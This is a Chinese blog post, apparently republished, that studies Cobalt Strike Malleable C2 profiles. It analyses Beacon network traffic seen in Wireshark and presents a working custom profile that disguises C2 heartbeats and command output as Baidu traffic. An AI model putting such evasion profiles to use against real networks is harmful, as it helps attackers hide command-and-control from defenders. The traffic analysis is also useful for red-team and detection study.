C2Profile学习
时间:2021-09-08
本文章向大家介绍C2Profile学习,主要包括C2Profile学习使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
使用的Profile文件内容为
set sleeptime "10000";
set jitter "0";
set maxdns "255";
set sample_name "Cobalt Strike Beacon (Default)";
http-get {
set uri "/pixel";
client {
metadata {
base64;
header "Cookie";
}
}
server {
header "Content-Type" "application/octet-stream";
output {
base64;
print;
}
}
}
http-post {
set uri "/submit.php";
client {
header "Content-Type" "application/octet-stream";
# transmit our session identifier as /submit.php?id=[identifier]
id {
parameter "id";
}
# post our output with no real changes
output {
base64;
print;
}
}
# The server's response to our HTTP POST
server {
header "Content-Type" "text/html";
# this will just print an empty string, meh...
output {
base64;
print;
}
}
}
分析Beacon端流量特征
生成一个 Http
的木马,受害者机器执行,观察WireShark中的流量特征
首先会 GET
请求 xf1N
路径,因为我们生成的木马是 stager
功能并不齐全,需要在额外加载 stage
前面数百个Tcp包就是我们发送的 stage
之后每隔一段时间受害者机器就会发送心跳包(包含元数据等)
受害者访问 pixel
路径,然后在Cookie里面包含一些结果Base64加密的数据,具体的分析参考: https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/cs-mu-biao-shang-xian-guo-cheng
之后的每隔一段时间就会发送类似的心跳包
试试执行下命令
仍然是一个心跳包,但是我们的返回包中有一些加密后的信息,一个就是服务端下发到beacon的命令
执行完成会后就会将结果发送到 submit.php
以上就是Beacon简单的流量分析过程
同样的我们内存中加载程序也是一样的过程
编写C2Profile
可以参考一些开源的项目的Profile,例如 https://github.com/threatexpress/malleable-c2
一个简单模拟百度的Profile
# 设置延时时间 60s
set sleeptime "60000";
set jitter "0";
set maxdns "255";
set sample_name "BaiDu_Test";
set useragent "Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.40";
http-get{
set uri "/favicon.ico";#设置心跳包的回连uri
client{#
metadata{
base64;
prepend "BIDUPSID=";
header "Cookie";
}
}
server{
header "Content-Type" "image/x-icon";
header "Server" "Server";
header "Bdqid" "0xf4caeb9b0006d466";
output {
base64;
print;
}
}
}
http-post{
set uri "/search";
client {
header "Content-Type" "application/octet-stream";
id{
parameter "id";
}
output{
base64;
print;
}
}
server{
header "Content-Type" "text/html";
output {
base64;
print;
}
}
}
原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/c2profile-xue-xi.html
- .NET跨平台之旅:在Linux上以本地机器码(native)运行ASP.NET Core站点
- 【干货】基于pytorch的CNN、LSTM神经网络模型调参小结
- jenkins配置.net mvc网站
- 简述【聚类算法】
- word2vec理论与实践
- GMP大法教你重新做人(从入门到实战)
- Highway Networks
- CTF---编程入门第一题 循环
- Z.ExtensionMethods 一个强大的开源扩展库
- 【干货】神经网络SRU
- AutoMapper 使用实践
- CTF---安全杂项入门第二题 A记录
- PyTorch(总)---PyTorch遇到令人迷人的BUG与记录
- 手把手带你进入TOP20的商超销售预测
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 一起来学演化计算-SBX模拟二进制交叉算子和DE差分进化算子
- 通过与C++程序对比,彻底搞清楚JAVA的对象拷贝
- Spring - application.yml 数字读取错误、eg: 000001
- Swagger2 UI 提示"请确保swagger资源接口正确"解决办法
- Manytasking Jmetal 代码反向解析 2_MMDTLZ
- GitLab服务器搭建
- MATP1生成测试SolutionSet
- 以猜数字游戏引出的分治算法的理解与思考
- MATP ManyTask Multitask Problem 和 Solution 的变量范围
- Sinopia安装部署
- Nginx的405 not allowed错误解决
- Linux免密登陆
- 一起来学matlab-matlab学习笔记8 基本绘图命令_2基本绘图操作
- 用一个图书库实例搞懂二分搜索树的底层原理
- 自已做动画及编写程序搞清楚最大堆的实现原理